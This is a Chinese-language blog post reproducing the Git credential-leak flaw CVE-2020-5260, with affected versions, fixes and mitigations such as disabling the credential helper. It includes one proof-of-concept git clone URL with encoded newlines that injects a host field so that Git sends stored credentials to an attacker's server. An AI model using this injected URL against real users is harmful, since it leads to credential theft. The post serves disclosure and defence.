博客
关于我
Git凭证泄露漏洞(CVE-2020-5260)复现
阅读量:796 次
发布时间:2019-03-25

本文共 1477 字,大约阅读时间需要 4 分钟。

Git 安全漏洞洞察

####.wallet.vc

Git的一项功能设计在特定情况下存在安全漏洞。这项漏洞影响Git客户端在处理特定格式的URL时,将用户凭证信息泄露给攻击者。


漏洞描述

Git的凭证助手功能旨在简化用户存储和管理远程仓库凭据的过程。然而,当远程仓库URL包含经过URL编码的换行符时,Git会将非预期的凭据信息注入到其协议流中。这使得恶意URL能够诱骗Git客户端向攻击者发送核心凭据数据。

此漏洞主要影响那些执行git clone指令时,遵循包含编码换行符的恶意URL的Git客户端。攻击者可利用该漏洞窃取用户的主机凭据,进而进行后续的恶意操作。


受影响版本

本漏洞存在于以下Git版本中:

  • 受影响版本

    • Git 2.17.x ≤ 2.17.3
    • Git 2.18.x ≤ 2.18.2
    • Git 2.19.x ≤ 2.19.3
    • Git 2.20.x ≤ 2.20.2
    • Git 2.21.x ≤ 2.21.1
    • Git 2.22.x ≤ 2.22.2
    • Git 2.23.x ≤ 2.23.1
    • Git 2.24.x ≤ 2.24.1
    • Git 2.25.x ≤ 2.25.2
    • Git 2.26.x ≤ 2.26.0
  • 修复版本及更新

    • Git 2.17.4及更高版本
    • Git 2.18.3及更高版本
    • Git 2.19.4及更高版本
    • Git 2.20.3及更高版本
    • Git 2.21.2及更高版本
    • Git 2.22.3及更高版本
    • Git 2.23.2及更高版本
    • Git 2.24.2及更高版本
    • Git 2.25.3及更高版本
    • Git 2.26.1及更高版本

漏洞复现演示

在执行类似以下命令时,Git可能会受到此漏洞的影响:

git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https'

此命令包含通过URL编码进行的手动注入的信息。Git在解析过程中会误解这些信息,从而向攻击者泄露用户的凭据信息。


漏洞修复

官方修复

Git社区已发布修复更新,建议使用受影响版本之外的最新版本来确保系统安全。修复版本包括:

其他防护方法

尽管官方已经提供更新,建议采取以下额外措施来防范此类风险:

  • 禁用凭证助手功能

    git config --unset credential.helpergit config --global --unset credential.helpergit config --system --unset credential.helper

    临时禁用凭证助手功能可以立即阻止漏洞利用。

  • 防御恶意URL

    • 在克隆仓库前,检查URL的主机名(host)部分是否包含编码换行符或其他不自然的字符串。

    • 避免使用git clone --recurse-submodules,特别是在处理未经验证的仓库时。建议用户在克隆后手动检查.gitmodules文件,确保所有子模块的URL安全可靠。

    • 不要对不明来源或不可信的URL执行git clone,尤其是公开仓库。

  • 审查及过滤输入源

    • 用户可选择在仓库URL中添加过滤脚本或使用安全工具来检测异常请求,防止恶意URL注入。

  • 相关参考资料


    注意事项

    本文仅供安全研究与教育目的使用。请在执行相关操作前,确保您了解潜在风险,并遵守相关安全规范。

    转载地址:http://sxyyk.baihongyu.com/

    你可能感兴趣的文章
    MySQL-连接
    查看>>
    mysql-递归查询(二)
    查看>>
    MySQL5.1安装
    查看>>
    mysql5.5和5.6版本间的坑
    查看>>
    mysql5.5最简安装教程
    查看>>
    mysql5.6 TIME,DATETIME,TIMESTAMP
    查看>>
    mysql5.6.21重置数据库的root密码
    查看>>
    Mysql5.6主从复制-基于binlog
    查看>>
    MySQL5.6忘记root密码(win平台)
    查看>>
    MySQL5.6的Linux安装shell脚本之二进制安装(一)
    查看>>
    MySQL5.6的zip包安装教程
    查看>>
    mysql5.7 for windows_MySQL 5.7 for Windows 解压缩版配置安装
    查看>>
    Webpack 基本环境搭建
    查看>>
    mysql5.7 安装版 表不能输入汉字解决方案
    查看>>
    MySQL5.7.18主从复制搭建(一主一从)
    查看>>
    MySQL5.7.19-win64安装启动
    查看>>
    mysql5.7.19安装图解_mysql5.7.19 winx64解压缩版安装配置教程
    查看>>
    MySQL5.7.37windows解压版的安装使用
    查看>>
    mysql5.7免费下载地址
    查看>>
    mysql5.7命令总结
    查看>>